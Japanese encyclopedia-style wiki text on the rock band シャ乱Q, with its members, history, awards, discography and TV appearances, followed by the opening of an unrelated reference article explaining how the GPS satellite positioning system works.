** [[ボーカル]]、[[アコースティック・ギター]]、[[作詞]]、[[作曲]]担当。
* '''[[はたけ]]([[1968年]][[8月17日]] - )<small>({{年数|1968|8|17}}歳)</small>'''
** [[ギター]]、[[ベース (弦楽器)|ベース]]、作曲担当。[[代表|リーダー]]。
* '''[[まこと (ミュージシャン)|まこと]]([[1968年]][[12月31日]] - )<small>({{年数|1968|12|31}}歳)</small>'''
** [[ドラムセット|ドラムス]]、作詞担当。
* '''[[たいせい]](旧名・たいせー、[[1969年]][[11月29日]] - )<small>({{年数|1969|11|29}}歳)</small>'''
** [[キーボード (楽器)|キーボード]]、作曲担当。
===旧メンバー===
* '''[[しゅう]]([[1968年]][[9月22日]] - )<small>({{年数|1968|9|22}}歳)</small>'''
** ベース、作曲担当。[[1998年]]脱退。
== 来歴 ==
;[[1988年]]
:12月、[[近畿大学]]の学生を中心とした5人で結成{{efn2|まことは[[近畿大学附属高等学校]]出身でつんくと高校時代からの同級生であったが、成績不良で内部進学が出来なかったため、唯一大学生ではなかった。}}。「シャ乱Q」の名前は、メンバーが所属していた[[アマチュアバンド]]の名前「'''シャッターズ'''」(しゅう、まことが所属)「'''RAM(乱)'''」(つんく、しゅう、たいせーが所属)「'''QP(キューピー)'''」(はたけが所属)を寄せ集めたもの<ref name="ichiban">[[1番ソングSHOW]] 日本テレビ系列 2011年10月26日放送より</ref>。当初は「シャ乱P」という名前にする予定だったが、女性お笑いコンビ・[[おきゃんぴー]]を連想させるとして「シャ乱Q」となった。
;[[1990年]]
:関西のアマチュアバンドとともに「すっぽんファミリー」を結成し、[[大阪城公園]]にてストリートライブを始めた。かつて東京[[原宿]]に存在した歩行者天国「[[歩行者天国|ホコ天]]」に集中し、通称「城天(しろてん)」という。
;[[1991年]]
:[[日本放送協会|NHK]]「[[BSヤングバトル]]」第2回グランプリを受賞した(受賞曲:「ラーメン大好き小池さんの唄」)。
;[[1992年]]
:7月にメジャーデビュー。所属事務所を巡って多くの[[芸能事務所]]が争奪戦を繰り広げたが、最終的にアップフロントエージェンシーが選ばれた。後につんくが語ったところによると、アップフロント入りには「[[KAN]](1991年の[[第33回日本レコード大賞]]受賞者)が所属している」ことが決め手となったという。しかし、デビュー後長らく低迷期が続いた。
;[[1994年]]
:「これが売れなければ最後」と意気込んだ「[[上・京・物・語]]」が、ラジオへの必死の売り込みが功を奏し、スマッシュヒット。同年の「[[シングルベッド]]」がロングセラーとなりミリオンセールスを記録。地元・関西の[[朝日放送ラジオ|ABCラジオ]]、[[大阪放送|OBC]]の番組では「シングルベッド」以前の楽曲は一切オンエアされなかったが、これはつんくが「[[MBSヤングタウン]]」でパーソナリティーを務めていたためで、また[[MBSラジオ]]でパーソナリティーをやっているアーティストの楽曲はABC、OBCでは排除されるという暗黙の了解があったためである。一方関西圏のFM局ではオンエアされていた。
;[[1995年]]
:ミリオン作「[[ズルい女]]」で大ブレイク。関西発バンドの第一人者となった。「[[My Babe 君が眠るまで]]」、アルバム「[[勝負師|勝負師(ギャンブラー)]]」もミリオンを記録(シャ乱Qの[[アルバム]]としては、初のミリオンヒット)。「ズルい女」で「[[全日本有線放送大賞]]」グランプリを受賞し、同じく「ズルい女」で[[第46回NHK紅白歌合戦]]にトップバッターとして初出場した。
:ライブや音楽番組への出演を精力的に行い、軽妙なトークが受け「[[HEY!HEY!HEY! MUSIC CHAMP]]」では、つんくが「'''[[浜田雅功]]に頭をどつかれると売れる法則'''」を提唱した。
;[[1996年]]
:シングル「[[いいわけ (シャ乱Qの曲)|いいわけ]]」、アルバム「[[シングルベスト10★おまけつき★|シングルベスト10 おまけつき]]」がミリオンヒットを記録。シングル「[[涙の影]]」、アルバム「[[GOLDEN Q]]」が[[オリコンチャート|オリコン]]週間1位を獲得。8月にライブツアー'96夏の乱「桃色頂上作戦」を開催し、他のライブツアー含めると年間通して8日間の日本武道館公演を開催した。
:10月には話題となっていた派手なステージ衣装(約2,500万円)が盗難にあう。
:2年連続で「全日本有線放送大賞」グランプリを受賞し、「いいわけ」で「[[第47回NHK紅白歌合戦]]」に2年連続出場した。
;[[1997年]]
:3月に[[大阪ドーム]]完成記念「シャ乱Q凱旋コンサート」を開催したほか、メンバーのしゅう、たいせー、まことがユニット「[[スーパー!?テンションズ]]」を結成し、CDリリースやテレビ出演などの展開を行った。
:主演映画「[[シャ乱Qの演歌の花道]]」が公開され、映画主題歌「[[パワーソング]]」で「[[第48回NHK紅白歌合戦]]」に3年連続3回目の出場。また、オーディション番組[[ASAYAN]]にてプロデュース活動を開始した。
;[[1998年]]
:プロデュース活動として、はたけは[[平家みちよ]]、つんくは[[モーニング娘。]]を担当した。
:12月、しゅうが同棲中だった未成年女性への暴行を起こし書類送検。決まっていたメディア露出は4人で行われた。後日、脱退を正式発表し、メンバー内のユニット「スーパー!?テンションズ」も解散した。
;[[1999年]]
:「[[君は魔術士?]]」のリリースと10周年記念ライブは、急遽4人編成で行われ、以降の活動を白紙とし、メンバーは主にソロ活動を行った。
:以降、つんくはソロ歌手及びモーニング娘。を始めとする[[ハロー!プロジェクト]]のプロデューサーとして活動。はたけは[[HOUND DOG]]の[[鮫島秀樹]]らとともにRose of Roseを結成。たいせーとまことは、ボーカルに[[大西さちこ]]を迎え、[[east cloud]]を結成した。
;[[2000年]]
:3月、「ラーメン大好き小池さんの唄」のリメイクである「[[新・ラーメン大好き小池さんの唄]]」をリリースし活動再開し、8月にはライブも開催した。アルバム制作中に音楽の方向性に違いが生じたこと、話し合った結果 12月に「休憩」と称した活動無期限休止を発表した。それ以来、活動再開後を含んで[[TVガイド]]タレント名鑑は[[少年隊]]同様、グループとしてではなく、個々で表記している。
;[[2001年]] - [[2004年]]
:つんくはプロデュース活動や、バンド「[[THE つんくビ♂ト]]」を結成したり、セルフカバー曲を中心としたソロ活動を展開し、2001年に芸能活動の際のクレジットを「つんく♂」に改名している。
:はたけはギタリストやプロデュース業を継続し、まことはドラマー活動と並行してハロプロのコンサートの司会などの活動、たいせーはタレントとして、それぞれソロ活動を行った。
;[[2005年]]
:12月、つんく♂のクリスマスディナーショーにて、つんくから「来年秋頃に再始動」と活動再開が発表された。事務所の先輩である[[堀内孝雄]]から促され、メンバーや関係者との話し合いで決意したとしている。
;[[2006年]]
:4月2日、[[エプソン アクアパーク品川|エプソン 品川アクアスタジアム]]にて行われたイルカショーにて、同施設の1周年の祝賀イベントにメンバー全員が集結した。
:記者会見を開き、シャ乱Qの活動再開の発表に加えて、たいせーが「たいせい」に改名することを発表した。同月放送の「HEY!HEY!HEY! MUSIC CHAMP」にて活動休止後初のテレビ出演。10月には約6年ぶりとなるライブを敢行し、11月にはモーニング娘。のカバー曲を活動再開後初のシングルとして発表し、12月にはディナーショーを行った。
;[[2007年]]
:表立ったバンド活動は、テレビ番組に何本か出演した以外は、12月にクリスマスディナーショーを行い、[[第49回日本レコード大賞]]で『ズルい女』を披露したのみであった。
;[[2008年]]
:8月にディナーショーを開催。同年12月、DVDつきベストアルバムを発表し、日本武道館にて約6時間にもおよぶ「シャ乱Q結成20周年記念フェスティバル」を開催した。KAN、[[黒澤健一]]、[[森高千里]]、[[五木ひろし]]、[[ハロプロ]]などゆかりのゲスト総勢25組59人が応援に駆けつけた。また、音源化未定の新曲「愛するということ」を発表した。
;[[2009年]]
:結成20周年となったが、3月に公式ファンクラブ「CLUB QUE」が、つんく♂独自のファンクラブ「天然音泉」の立ち上げに伴い解散した。
:12月、[[庄司智春]]と[[藤本美貴]]の結婚式にてメンバー全員が久々に顔を合わせた。
;[[2010年]]
:前年と同様、目立った活動は行われなかった。12月、企画盤のベストアルバムをリリース。
;[[2011年]]
:[[東日本大震災]]が起きたことを受けて、久しぶりにメンバー4人が集結し、当バンド含むアップフロントグループ所属タレントによるプロジェクトでKANの「[[愛は勝つ]]」を歌った。
:この曲は配信限定楽曲でメンバー全員が参加したものであり、はたけのみボーカルではなくギターを演奏している。
;[[2013年]]
:結成25周年を迎え、東京都渋谷区のライブハウス「[[Shibuya eggman]]」でメンバー4人が記者会見を行い、本格的な再始動を発表。7年ぶりとなるライブツアーの実施や、代表曲「シングルベッド」を再レコーディングすることなどが発表された<ref>{{Cite web|和書|author = ナタリー|url = https://natalie.mu/music/news/83118|title = シャ乱Q結成25周年で再始動&「シングルベッド」再録音|date=2013-1-15|accessdate = 2013年5月20日}}</ref>。
:7月17日に約6年半ぶりにセルフカバーシングル[[シングルベッド#「シングルベッド」|「シングルベッド」]]をリリースした。
;[[2014年]](補足)
:3月6日、つんく♂が[[喉頭癌|喉頭がん]]を患ったことを公表した<ref>{{Cite news|title=つんく{{読み|♂|}} 、喉頭がん告白 治療専念で活動休養へ|url=https://www.oricon.co.jp/news/2034783/full/|date=2014-03-06|newspaper={{lang|en|ORICON STYLE}}|publisher=オリコン|accessdate=2014-03-06}}</ref><ref name="tsunkublog-20140306">
{{Cite web|和書|author=つんく{{読み|♂|}} |title=つんく{{読み|♂|}} より皆様へご報告|url=https://ameblo.jp/tsunku-blog/entry-11789060328.html|publisher=[[サイバーエージェント]]|date=2014-03-06|accessdate=2014-03-06}}</ref>。9月25日、いったん「完全寛解」を発表したが<ref>{{Cite news |url= https://www.nikkansports.com/entertainment/news/f-et-tp0-20140925-1372689.html |title= 喉頭がんのつんく♂「完全寛解」発表 |publisher= nikkansports.com |date= 2014-09-25 |accessdate= 2015-04-04 }}</ref>、がんが再発見され、10月上旬に手術を受けていたことを10月17日に明らかにした<ref>{{Cite news |url= www.nikkansports.com/entertainment/news/p-et-tp0-20141018-1383539.html |title= つんく♂喉頭がん再発見 すでに手術成功 |publisher= nikkansports.com |date= 2014-10-18 |accessdate= 2015-04-04 }}</ref>。
;[[2015年]](補足)
:4月4日、つんく♂が近畿大学の入学式に出席。2014年10月の手術の際に声帯を摘出し、声を失っていたことを公表した<ref>{{Cite news |url= https://www.sponichi.co.jp/entertainment/news/2015/04/04/kiji/K20150404010111320.html |title= つんく♂ 声帯摘出「一番大事にしてきた声を捨て、生きる道を選びました」 |publisher= スポーツニッポン |date= 2015-04-04 |accessdate= 2015-04-04 }}</ref><ref>{{Cite news |url= https://www.daily.co.jp/newsflash/gossip/2015/04/04/0007883979.shtml |title= つんく♂ がんで声帯摘出を公表 |publisher= デイリースポーツ online |date= 2015-04-04 |accessdate= 2015-04-04 }}</ref>。
== 受賞歴・主な記録 ==
* 1991年
** 第2回NHK-[[BSヤングバトル]]全国大会 グランプリ(ラーメン大好き小池さんの唄)
* 1995年
** 第28回[[全日本有線放送大賞]]グランプリ(ズルい女)
** [[第37回日本レコード大賞]] 優秀作品賞&編曲賞(ズルい女)
** 第28回[[日本有線大賞]] 有線音楽優秀賞(ポップス部門)&最多リクエスト歌手賞(ズルい女)
* 1996年
** 第9回[[ザテレビジョンドラマアカデミー賞]] '''主題歌賞'''(『[[いいわけ (シャ乱Qの曲)|いいわけ]]』、ドラマ『[[Age,35 恋しくて]]』主題歌)
** 第29回全日本有線放送大賞グランプリ(涙の影)
** [[第38回日本レコード大賞]] 優秀作品賞&編曲賞(いいわけ)
** 第29回日本有線大賞 有線音楽優秀賞(ポップス部門)&最多リクエスト歌手賞&グランプリ(涙の影)
* 1997年
** 第11回[[日本ゴールドディスク大賞]] ベスト5アーティスト賞&アルバム賞(ポップス部門)「シングルベスト10★おまけつき★」
*[[ミリオンヒット]]シングル
*:ズルい女、シングルベッド、いいわけ、My Babe 君が眠るまで
*ミリオンヒットアルバム
*:シングルベスト10★おまけつき★、勝負師(ギャンブラー)
== ディスコグラフィー ==
=== シングル ===
{| class="wikitable"
! # !! 発売日 !! タイトル !! C/W !!オリコン最高位
|-
! 1
| [[1992年]][[7月22日]]||'''18ヶ月'''||お嬢様||圏外
|-
! 2
| [[1993年]][[2月24日]]||'''とってもメリーゴーランド'''||かんべんしてくれ!||圏外
|-
! 3
| 1993年[[5月8日]]||'''友達はいますか'''||Hey! MR.おぼっちゃん(バブル崩壊編)||圏外
|-
! 4
| [[1994年]][[1月21日]]||'''[[上・京・物・語]]'''||まさかの大誤算||47位
|-
! 5
| 1994年[[7月27日]]||'''[[恋をするだけ無駄なんて]]'''||For You〜翼をあげよう〜||28位
|-
! 6
| 1994年[[10月21日]]||'''[[シングルベッド]]'''||プリーズ||9位
|-
! 7
| [[1995年]][[5月3日]]||'''[[ズルい女]]'''||雨の中/黒田節||2位
|-
! 8
| [[1995年]][[8月23日]]||'''[[空を見なよ]]'''||もっと誰かに見られたい||3位
|-
! 9
| 1995年[[10月21日]]||'''[[My Babe 君が眠るまで]]'''||Happy Life||3位
|-
! 10
| [[1996年]][[4月24日]]||'''[[いいわけ (シャ乱Qの曲)|いいわけ]]'''||こんなにあなたを愛しているのに||3位
|-
! 11
| 1996年[[7月24日]]||''' [[涙の影]]'''||Moving||'''1位'''
|-
! 12
| 1996年[[11月14日]]||'''[[NICE BOY!]]'''||SWEET and SWEET||4位
|-
! 13
| [[1997年]][[4月16日]]||'''[[そんなもんだろう]]'''||心||3位
|-
! 14
| 1997年[[8月21日]]||'''[[パワーソング]]'''||さよならナンシー||10位
|-
! 15
| [[1998年]][[2月18日]]||'''[[都会のメロディー]]'''||ノイズ||7位
|-
! 16
| 1998年[[5月13日]]||'''[[ためいき (シャ乱Qの曲)|ためいき]]'''||宿命||13位
|-
! 17
| 1998年[[10月7日]]||'''[[愛 Just on my Love]]'''||やっぱり||10位
|-
! 18
| [[1999年]][[2月17日]]||'''[[君は魔術士?]]'''||力強い足音||24位
|-
! 19
| [[2000年]][[3月23日]]||'''[[新・ラーメン大好き小池さんの唄]]'''||most/新・ラーメン大好き小池さんの唄(SEXYファンクVer.)||23位
|-
! 20
| [[2006年]][[11月29日]]||'''[[歩いてる (シャ乱Qの曲)|歩いてる]]'''||チャンラリ チャラリララ||30位
|-
! 21
| [[2013年]][[7月17日]]||'''[[シングルベッド#「シングルベッド」|「シングルベッド」]]'''||蜃気楼 しんきろう/Come on! 僕たちの未来||60位
|-
|}
=== アルバム ===
==== オリジナルアルバム ====
{| class="wikitable"
! # !! 発売日 !! タイトル
!オリコン最高位
|-
! 1
| [[1992年]][[9月23日]]|| '''[[炸裂!へなちょこパンチ]]'''
|
|-
! 2
| [[1993年]][[3月24日]]|| '''[[売れっ子への道 渋滞中]]'''
|
|-
! 3
| [[1994年]][[2月23日]]|| '''[[ロスタイム (アルバム)|ロスタイム]]'''
|39位
|-
! 4
| 1994年[[11月2日]]|| '''[[劣等感 (アルバム)|劣等感]]'''
|25位
|-
! 5
| [[1995年]][[11月22日]]|| '''[[勝負師|勝負師(ギャンブラー)]]'''
|2位
|-
! 6
| [[1996年]][[12月18日]]|| '''[[GOLDEN Q]]'''
|1位
|-
! 7
| [[1998年]][[3月25日]]|| '''[[孤独 (アルバム)|孤独]]'''
|6位
|-
|}
==== ベストアルバム ====
{| class="wikitable"
! # !! 発売日 !! タイトル!!オリコン最高位
|-
! 1
| [[1996年]][[6月29日]]|| '''[[シングルベスト10★おまけつき★]]'''|||2位
|-
! 2
| [[1999年]][[3月25日]]|| '''[[ベストアルバム おまけつき '96〜'99]]'''|||10位
|-
! 3
| [[2001年]][[4月4日]]|| '''[[BEST OF HISTORY]]'''|||17位
|-
! 4
| [[2008年]][[12月3日]]|| '''[[シャ乱Qハタチのベスト・アルバムDVDつき]]'''|||139位
|-
! 5
| [[2010年]][[12月22日]]|| '''[[GOLDEN☆BEST シャ乱Q]]'''|||188位
|-
! 6
| [[2013年]][[8月21日]]|| '''[[シャ乱Qベスト 〜四半世紀伝説〜]]'''|||82位
|-
|}
==== サウンドトラック====
{| class="wikitable"
! # !! 発売日 !! タイトル
|-
! 1
| [[1997年]][[8月27日]]|| '''[[シャ乱Qの演歌の花道]]'''
|-
|}
=== VHS / DVD ===
; PV集
{| class="wikitable"
! # !! 発売日 !! タイトル
|-
! 1
| [[1993年]][[12月1日]]|| '''天狗になるにはまだ早い!'''
|-
! 2
| [[1995年]][[6月28日]]|| '''天狗になるにはまだ早い!Vol.2 〜実はVol.1もあるのだ!〜'''
|-
! 3
| [[1997年]][[12月17日]]|| '''天狗になるにはまだ早い! Vol.3'''
|-
! 4
| [[2001年]][[4月4日]]|| '''[[BEST OF HISTORY]]'''
|-
|}
; ライブ
{| class="wikitable"
! # !! 発売日 !! タイトル
|-
! 1
| [[1996年]][[5月30日]]|| '''シャ乱Qライブビデオ VOL.1真剣勝負'''(DVD: 2001年4月4日、2003年11月26日)
|-
! 2
| [[2007年]][[1月24日]]|| '''[[シャ乱Q ライブツアー 2006 秋の乱 ズルい「Live Live Live」]]'''
|-
! 3
| [[2009年]][[1月9日]]|| '''ヤンタン30 祝 大阪ドーム完成 シャ乱Q凱旋コンサート'''(ウェブ通販)
|-
! 4
| [[2009年]][[3月25日]]|| '''シャ乱Q結成20周年記念ライブ「感謝!ハタチのシャ乱Q みんなでお祝いだ!日本武道館フェスティバル〜長いよ〜|シャ乱Q結成20周年記念ライブ「感謝!ハタチのシャ乱Q みんなでお祝いだ!<br />日本武道館フェスティバル〜長いよ〜」'''(ウェブ通販)
|-
|}
; その他
{| class="wikitable"
! # !! 発売日 !! タイトル
|-
! 1
| [[1991年]][[12月25日]]|| '''てんぐのぐんて'''(インディーズ発売)
|-
|}
=== その他 ===
* [[愛は勝つ#がんばろうニッポン 愛は勝つ シンガーズによるカバーシングル|愛は勝つ]] - 発起人である堀内孝雄、原曲を歌ったKAN(ピアノと兼任)、ハロー!プロジェクト、[[T-Pistonz+KMC]]らと共に「愛は勝つ シンガーズ」として参加。2011年6月22日発売。
== タイアップ一覧 ==
{| class="wikitable" style="font-size:smaller;"
! 使用年
! 曲名
! タイアップ
|-
| rowspan="3" | 1993年
| rowspan="2" | '''とってもメリーゴーランド'''
| [[日本テレビ]]系『[[日本テレビ系土曜7時台情報番組枠#うるとら7:00|うるとら7:00]]』エンディングテーマ
|-
| [[東海テレビ放送|東海テレビ]]ほか『[[スペンサーの喫茶店]]』エンディングテーマ
|-
| '''友達はいますか'''
| [[テレビ東京]]系『[[スーパーマリオクラブ (テレビ番組)|スーパーマリオクラブ]]』後期オープニングテーマ
|-
| rowspan="5" | 1994年
| rowspan="2" | '''[[上・京・物・語]]'''
| テレビ東京系『[[浅草橋ヤング洋品店]]』エンディングテーマ
|-
| [[フジテレビジョン|フジテレビ]]系『[[殿様のフェロモン]]』オープニングテーマ
|-
| '''[[恋をするだけ無駄なんて]]'''
| テレビ東京系『浅草橋ヤング洋品店』エンディングテーマ
|-
| '''[[恋をするだけ無駄なんて|For You〜翼をあげよう〜]]'''
| [[関西国際空港]] イメージソング
|-
| '''[[シングルベッド]]'''
| 日本テレビ系アニメ『[[D・N・A² 〜何処かで失くしたあいつのアイツ〜]]』エンディングテーマ
|-
| rowspan="6" | 1995年
| '''[[ズルい女]]'''
| フジテレビ系『[[今田耕司のシブヤ系うらりんご]]』1995年5月度エンディングテーマ
|-
| '''[[空を見なよ]]'''
| 日本テレビ系『[[DRAMATIC BASEBALL|'95劇空間プロ野球]]』下半期テーマソング
|-
| '''[[空を見なよ|もっと誰かに見られたい]]'''
| [[NHK-BS]]『[[BSヤングバトル|BSヤングバトル'95]]』テーマソング
|-
| '''[[My Babe 君が眠るまで]]'''
| テレビ東京系『[[NEWSモーニングJAM]]』エンディングテーマ
|-
| rowspan="2" | '''[[勝負師|ドラマティックに -'90 Dream-]]'''
| 日本テレビ系『[[クイズ世界はSHOW by ショーバイ!!|新装開店!SHOW by ショーバイ2]]』エンディングテーマ
|-
| [[大塚製薬]]協賛「[[ポカリスエット]] MUSIC BATTLE SOUND SUCCESS」CMソング
|-
| rowspan="6" | 1996年
| '''[[いいわけ (シャ乱Qの曲)|いいわけ]]'''
| フジテレビ系 [[木曜劇場]]『[[Age,35#テレビドラマ|Age,35 恋しくて]]』主題歌<ref name="q_1">{{Cite web|和書|url=http://www.tvdrama-db.com/drama_info/p/id-31385|title=Age,35 恋しくて|work=[[テレビドラマデータベース]]|accessdate=2022-12-28}}</ref>
|-
| '''[[いいわけ (シャ乱Qの曲)|こんなにあなたを愛しているのに]]'''
| フジテレビ系 木曜劇場『Age,35 恋しくて』挿入歌<ref name="q_1" />
|-
| '''[[ベストアルバム おまけつき '96〜'99|不偏愛-FUHEN-AI-]]'''
| フジテレビ系 木曜劇場『Age,35 恋しくて』挿入歌<ref name="q_1" />
|-
| '''[[涙の影]]'''
| フジテレビ系『[[HEY!HEY!HEY! MUSIC CHAMP]]』エンディングテーマ
|-
| '''[[涙の影|Moving]]'''
| フジテレビ「フジテレビ移転」キャンペーンソング
|-
| '''[[NICE BOY!]]'''
| [[日本シティメディア]]「Qメール」CMソング
|-
| rowspan="2" | 1997年
| '''[[そんなもんだろう]]'''
| [[サントリー]]「[[サントリー#過去にあった代表的な銘柄|ビターズ]]」CMソング
|-
| '''[[パワーソング]]'''
| [[東宝]]配給映画『[[シャ乱Qの演歌の花道]]』主題歌
|-
| rowspan="5" | 1998年
| '''[[都会のメロディー]]'''
| [[TBSラジオ]]『[[大槻ケンヂとタマゴのキミっ]]』エンディングテーマ
|-
| '''[[孤独 (アルバム)|HANDS]]'''
| フジテレビ系『[[プロ野球ニュース]]』テーマソング
|-
| '''[[ためいき (シャ乱Qの曲)|ためいき]]'''
| [[テレビ朝日]]系 [[木曜ドラマ (テレビ朝日)|木曜ドラマ]]『[[凄絶!嫁姑戦争 羅刹の家]]』主題歌<ref>{{Cite web|和書|url=http://www.tvdrama-db.com/drama_info/p/id-32704|title=羅刹の家|work=テレビドラマデータベース|accessdate=2022-12-28}}</ref>
|-
| '''[[愛 Just on my Love]]'''
| [[TBSテレビ|TBS]]系アニメ『[[魔術士オーフェン (アニメ)|魔術士オーフェン]]』オープニングテーマ(第1話 - 第16話)<ref name="q_2">{{Cite web|和書|url=http://www.tvdrama-db.com/drama_info/p/id-33014|title=魔術士オーフェン|work=テレビドラマデータベース|accessdate=2022-12-28}}</ref>
|-
| '''[[ベストアルバム おまけつき '96〜'99|タクシードライバー]]'''
| 日本テレビ系『[[ダウンタウンのガキの使いやあらへんで!]]』[[ダウンタウン (お笑いコンビ)|ダウンタウン]]トーク[[出囃子 (お笑い)|出囃子]](1998年 - 1999年)
|-
| 1999年
| '''[[君は魔術士?]]'''
| TBS系アニメ『魔術士オーフェン』オープニングテーマ(第17話 - 第24話)<ref name="q_2" />
|-
| 2006年
| '''[[歩いてる#シャ乱Qによるカバー|歩いてる]]'''
| テレビ東京系『[[TVチャンピオン]]』挿入歌
|-
| 2010年
| '''ズルい女'''
| テレビ東京系 [[ドラマ24]]『[[モテキ#テレビドラマ|モテキ]]』第3話モテ曲<ref>{{Cite web|和書|url=http://www.tvdrama-db.com/drama_info/p/id-43416|title=モテキ|work=テレビドラマデータベース|accessdate=2022-12-28}}</ref>
|-
| rowspan="2" | 2013年
| '''[[シングルベッド#カバー|蜃気楼 しんきろう]]'''
| rowspan="2" | 日本テレビ系『[[ぶらり途中下車の旅]]』エンディングテーマ<ref>{{Cite web|和書|url=https://www.up-front-agency.co.jp/sharam-q/news/news20130401_2.html |title=新曲「蜃気楼 しんきろう」タイアップ情報 |publisher=シャ乱Q official web site |date=2013-04-01 |accessdate=2022-12-28}}</ref><ref>{{Cite web|和書|url=https://www.up-front-agency.co.jp/sharam-q/news/news20130705.html |title=新曲カップリング「Come on! 僕たちの未来」タイアップ情報 |publisher=シャ乱Q official web site |date=2013-07-05 |accessdate=2022-12-28}}</ref>
|-
| '''[[シングルベッド#カバー|Come on! 僕たちの未来]]'''
|-
| 2017年
| '''シングルベッド'''
| [[ワーナー ブラザース ジャパン|ワーナー・ブラザース映画]]配給映画『[[22年目の告白 -私が殺人犯です-]]』挿入歌
|}
== テレビ出演 ==
=== 音楽番組 ===
* [[HEY!HEY!HEY! MUSIC CHAMP]]([[フジテレビジョン|フジテレビ]]) - 不定期出演
* [[うたばん]]([[TBSテレビ|TBS]]) - 不定期出演
* [[ミュージックステーション]]([[テレビ朝日]]) - 不定期出演
* [[FNS歌謡祭]](フジテレビ)
** [[1994 FNS歌謡祭|'94 FNS歌謡祭]](1994年12月6日)
** [[1995 FNS歌謡祭|'95 FNS歌謡祭]](1995年12月5日)
** [[1996 FNS歌謡祭|'96 FNS歌謡祭]](1996年12月10日)
** [[1997 FNS歌謡祭|'97 FNS歌謡祭]](1997年12月11日)
* [[FNSうたの夏まつり]](フジテレビ)
** [[2013 FNSうたの夏まつり]](2013年7月31日)
=== バラエティ番組 ===
* [[スターどっきり(秘)報告]](フジテレビ)
* [[ASAYAN]]([[テレビ東京]])
* [[めちゃ×2イケてるッ!|めちゃ<sup>2</sup>イケてるッ!]](フジテレビ)
* [[SMAP×SMAP]]([[関西テレビ放送|関西テレビ]]・フジテレビ)
== NHK紅白歌合戦出場歴 ==
{| class="wikitable" style="font-size:small;text-align:center"
|-
! 年度!!放送回!! 回!! 曲目!! 出演順!! 対戦相手!!備考
|-
|[[1995年]]||[[第46回NHK紅白歌合戦|第46回]]||初||ズルい女||01/25||[[酒井法子]]||先攻トップバッター
|-
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;注意点
* 出演順は「出演順/出場者数」で表す。
== 書籍 ==
=== 写真集 ===
* シャ乱Q写真集<パート1>([[アップフロントブックス]] 1996年4月)ISBN 978-4847024238
* 歌舞伎町DX ([[ソニーマガジンズ]] 1997年5月)ISBN 978-4789711852
== 脚注 ==
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=== 注釈 ===
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=== 出典 ===
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== 関連項目 ==
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* [[スーパー!?テンションズ]]
* [[east cloud]]
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* [[養老の星☆幸ちゃん]]
* [[日本シティメディア]]
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== 外部リンク ==
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* [http://www.up-front-agency.co.jp/sharam-q/ シャ乱Qオフィシャルウェブサイト]
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6,838 | グローバル・ポジショニング・システム | グローバル・ポジショニング・システム(英語: Global Positioning System, Global Positioning Satellite, GPS、全地球測位システム)とは、アメリカ合衆国によって運用される衛星測位システム(地球上の現在位置を測定するためのシステムのこと)を指す。
ロラン-C(Loran-C: Long Range Navigation C)システムの後継にあたる。
アメリカ合衆国が打ち上げた約30個のGPS衛星のうち、上空にある数個の衛星からの信号をGPS受信機で受け取り、受信者が自身の現在位置を知るシステムである。
1973年にアメリカ国防総省の軍事プロジェクトとして開始され、最初の試験衛星は1978年に打ち上げられた。元来その利用は軍事用途に制限されていたが、1983年の大韓航空機撃墜事件発生後、民間機の安全な航行のため民間利用にGPSを開放する事がレーガン大統領により表明された。その後、民生運用に足る精度を満たした「初期運用宣言」は1993年に、軍事運用可能な精度を満たした「完全運用宣言」は1995年に成された。
GPSは地上局を利用するロラン(LORAN)-Cと異なり、受信機の上部を遮られない限り、地形の影響を受けて受信不能に陥る事が少ない。
GPS衛星からの信号には、衛星に搭載された原子時計からの時刻のデータ、衛星の天体暦(軌道)の情報などが含まれている。受信機はGPS衛星からの電波を受信し、その発信時刻を測定し、発信と受信との時刻差に、電波の伝播速度(光速)を掛けることによって、その衛星からの距離がわかる。受信機座標(3次元空間上の点)はこれらから求められる。
ただし多くのGPS受信機に搭載されている時計では精度が不足し、そのままでは受信時刻値は不正確となる。そこで、多くの受信機の測位計算では、4つ以上のGPS衛星からの電波を受信し、受信機座標に加え受信時刻も未知数とする形で求める。
GPS衛星は約20,000kmの高度を一周約12時間で動く準同期衛星である(静止衛星ではない)。いくつかの軌道上に打ち上げられた30個ほどの衛星コンステレーションで地球上の全域をカバーできる。また中地球軌道なので信号の送信電力としても有利であり、ある地域からみても刻々と配置が変化するため、全地球上で誤差を平均化できる(地域によってはカバーする衛星の個数が常に少ない場合もある)。
慣性系を仮定すると、光速 c {\displaystyle c} は一定である( c {\displaystyle c} =2.99792458 × 10 m/s)。
GPS衛星と受信機がともに正確とみなせる時計をもっていれば、GPS衛星 i {\displaystyle i} からの信号送信時刻(受信機測定から得る) T i {\displaystyle T_{i}} と受信時刻 t {\displaystyle t} の差にcを掛け、伝播距離が得られる。
したがってGPS衛星 i {\displaystyle i} の位置を座標 ( X i , Y i , Z i {\displaystyle X_{i},Y_{i},Z_{i}} )、受信機の位置を ( x , y , z {\displaystyle x,y,z} ) とすると、伝播距離は下記の関係式を満たす。
なおGPS衛星の位置を得るには、受信データに重畳された航法メッセージ信号を復調し、送信時刻 T i {\displaystyle T_{i}} と組み合わせて求める。
受信時刻 t {\displaystyle t} はGPS受信機の時計の値であり、もしそれが正確ならば、受信機の位置である三つの変数(未知数) x , y , z {\displaystyle x,y,z} を得るために、意味が異なる最低三本の連立方程式があれば良い。
しかしGPS受信機の時計はそれほど正確ではなく、受信時刻 t {\displaystyle t} も未知数とする必要がある。4つの未知数( x , y , z , t {\displaystyle x,y,z,t} )を求めるためには、4つ以上の衛星から受信することが必要となる。
GPS衛星からの情報を変調する方式であるSS(spread spectrum)変調方式(CDMA:code division multiple access方式などともよばれる)は、人工的に作った(真の乱数と区別が付かない)コードである擬似雑音系列に送信データを掛けて送信信号を生成する。
このため、FMやAM変調などに比べて広いバンド幅で低電力で送信でき、秘話性(擬似雑音系列がわからなければデータを復調できない)や秘匿性(白色雑音と区別がつかないため送信していること自体がわからない)、同一バンドを異なる擬似雑音系列で多重利用できることなどの特徴がある。
擬似雑音系列の開始位置の時刻を定めておけば、復調時に精度よく送出時刻を知ることができることも特徴のひとつで、測距の基礎となっている。
GPSではこれらの特徴を活かして測位とデータ(天体暦(軌道)の情報などが含まれる)の送信を同時に行っている。
GPS衛星からのL1電波(1.57542GHz)には公表されているC/Aコードを擬似雑音系列に用いた信号と、公表されていない擬似雑音系列であるP(Y)コードの2種類の信号が載せられている。P(Y)コードは軍事目的を想定しており、系列の生成多項式の次数が大きい(擬似雑音系列が一巡するのに長時間かかる)ため、精度は非常に高く(16cm程度)、ミサイルや誘導爆弾の誘導に用いられている。
